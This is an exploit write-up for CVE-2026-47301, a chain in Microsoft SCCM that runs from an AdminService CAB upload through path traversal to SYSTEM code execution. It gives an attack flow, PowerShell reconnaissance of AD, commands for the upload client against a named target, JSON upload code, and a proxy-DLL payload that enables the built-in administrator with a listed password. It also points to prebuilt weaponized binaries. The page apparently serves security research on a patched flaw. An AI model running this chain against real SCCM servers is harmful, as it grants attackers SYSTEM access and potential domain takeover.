Microsoft SCCM — AdminService CAB Extraction Path-Traversal to SYSTEM RCE (CVE-2026-47301)

CVE-2026-47301 is a remote code execution vulnerability in Microsoft Configuration Manager (SCCM) that chains four weaknesses: broken access control on the AdminService UploadExtensionInChunks endpoint (any domain user, no RBAC check), CAB extraction path-traversal enabling arbitrary file write, certificate verification bypass, and DLL hijacking of the SMS_EXECUTIVE service. The result is SYSTEM-level code execution on the SCCM Primary Site Server from any authenticated domain user.

The exploit uploads a crafted CAB file via the AdminService REST API. The CAB contains path-traversal entries (..\..\..\..\) that escape the intended extraction directory and plant two DLLs (adsource.dll and adsource_original.dll) into the Configuration Manager \bin\X64 directory. The malicious adsource.dll is a proxy DLL that forwards legitimate calls to the renamed original while executing an attacker payload from DllMain. When SMS_EXECUTIVE loads the DLL (approximately every 5 minutes), the payload runs as SYSTEM.

Root Cause

The SCCM AdminService exposes two extension upload endpoints:

• C1 (UploadExtensionInChunks): No RBAC authorization check – any authenticated domain user can upload
• C2 (UploadExtension): Requires Create permission on SMS_ConsoleExtensionData

Both endpoints accept CAB files and extract them without validating the contained file paths. Path-traversal sequences in CAB entry names allow writing files to arbitrary locations relative to the extraction directory. Because the SCCM service runs as SYSTEM and the extraction path is predictable, the attacker can place DLLs in the SCCM binary directory.

Attack Flow

1. Identify the Primary Site Server: Query the CN=System Management,CN=System AD container for machine accounts with GenericAll/FullControl.
2. Upload malicious CAB: Send the crafted CAB via the C1 endpoint (no RBAC required) using SSPI/Negotiate authentication.
3. Path traversal: The CAB extraction writes adsource.dll (malicious proxy) and adsource_original.dll (renamed legitimate DLL) to \bin\X64.
4. DLL load: SMS_EXECUTIVE loads adsource.dll within 5 minutes. The proxy DLL forwards exports to the original to prevent service crashes.
5. Payload execution: DllMain spawns a worker thread that enables the built-in RID 500 Administrator account, renames it, and sets a known password.

Impact

• Full SYSTEM-level code execution on the SCCM Primary Site Server
• Domain compromise potential (SCCM servers typically have extensive AD permissions)
• The C1 chain requires no SCCM RBAC role – any domain user suffices
• Payload is self-cleaning and logs changes for reversibility

Setup Steps

1
2
3
4
5
6
7
8

$root = [ADSI]"LDAP://RootDSE"
$configDN = "CN=System Management,CN=System," + $root.defaultNamingContext
$container = [ADSI]"LDAP://$configDN"
$container.ObjectSecurity.Access |
    Where-Object { $_.ActiveDirectoryRights -match "GenericAll|FullControl" } |
    Select-Object IdentityReference, ActiveDirectoryRights, AccessControlType

.\C1_AFW.exe write SCCM-CM01.domain.local 'pwn.cab' .\evil.cab --verbose

See C1_UploadExtensionInChunks_AFW.cs (412 lines, C#) and AdSource_Proxy/adsource_proxy.cpp (281 lines, C++) in this folder – mirrored byte-for-byte from OmriBaso/SCCM-CVE-2026-47301-Remote-Code-Execution-Exploit. The upstream README is preserved as upstream-README.md.

Step-by-Step Reproduction

1. Deploy an SCCM lab with an unpatched Primary Site Server and at least one domain user.
2. Build the exploit client from the C# source or Visual Studio project.
3. Probe the target: C1_AFW.exe probe SCCM-CM01.domain.local --verbose
4. Upload the malicious CAB: C1_AFW.exe write SCCM-CM01.domain.local 'pwn.cab' .\evil.cab --verbose
5. Wait up to 5 minutes for SMS_EXECUTIVE to load the planted DLL.
6. Verify: Check C:\POC.txt on the target for payload execution logs, and attempt to authenticate as the renamed RID 500 administrator (omrispy / Xm#Poc-2026!Adm1n$Ok).

Exploit Code

The upload client – builds the JSON payload with base64-encoded CAB content and sends via SSPI-authenticated HTTPS:

1
2
3
4
5
6
7
8
9

string body = "{"
    + "\"SessionId\":\"" + sessionId + "\","
    + "\"IsFinalChunk\":true,"
    + "\"AllowUnsigned\":" + allowUnsignedJson + ","
    + "\"CabFile\":{"
        + "\"FileName\":\"" + JsonEscape(fileName) + "\","
        + "\"FileContent\":\"" + payloadB64 + "\""
    + "}"
    + "}";

The proxy DLL payload – enables the built-in admin from DllMain:

1
2
3
4
5
6
7

static DWORD WINAPI PayloadThread(LPVOID) {
    if (InterlockedExchange(&g_ran, 1) != 0) return 0;
    Log("Worker: start");
    EnableBuiltinAdmin();
    Log("Worker: done");
    return 0;
}

Expected Output

Mode      : write
Chain     : C1 (UploadExtensionInChunks -- no RBAC)
Target    : SCCM-CM01.domain.local
Identity  : DOMAIN\lowprivuser
Auth      : SSPI (Negotiate/Kerberos)
HTTP 200 OK

• NVD – CVE-2026-47301
• MSRC – CVE-2026-47301
• OmriBaso/SCCM-CVE-2026-47301-Remote-Code-Execution-Exploit (upstream PoC)

Verified this session by reading all source files: C1_UploadExtensionInChunks_AFW.cs (412 lines, C#), AdSource_Proxy/adsource_proxy.cpp (281 lines, C++), AdSource_Proxy/Build.ps1, and AdSource_Proxy/New-DllForwarderPragmas.ps1.

Malware screen – clean. The C# client is a straightforward HTTP client using SSPI authentication and standard .NET HttpClient. The C++ DLL payload uses only Windows API calls (NetApi32 for user management, standard Win32 for logging). No obfuscation, no remote downloaders, no credential exfiltration, no miners, no C2 callbacks.

Binary caveat: The repo includes committed binaries (adsource_original.dll, evil_RID500.cab, .exp, .lib files). These cannot be verified from source alone. The README explains that adsource_original.dll is the legitimate SCCM DLL renamed for proxy forwarding, and evil_RID500.cab is the pre-built weaponized CAB. This is typical for Windows exploit PoCs where the payload involves compiled DLLs, but consumers should rebuild from source rather than using the committed binaries.

Author: OmriBaso is a credible security researcher with published SCCM security research. The repo has 36 stars, includes a detailed README with screenshots, and was published after Microsoft released the patch.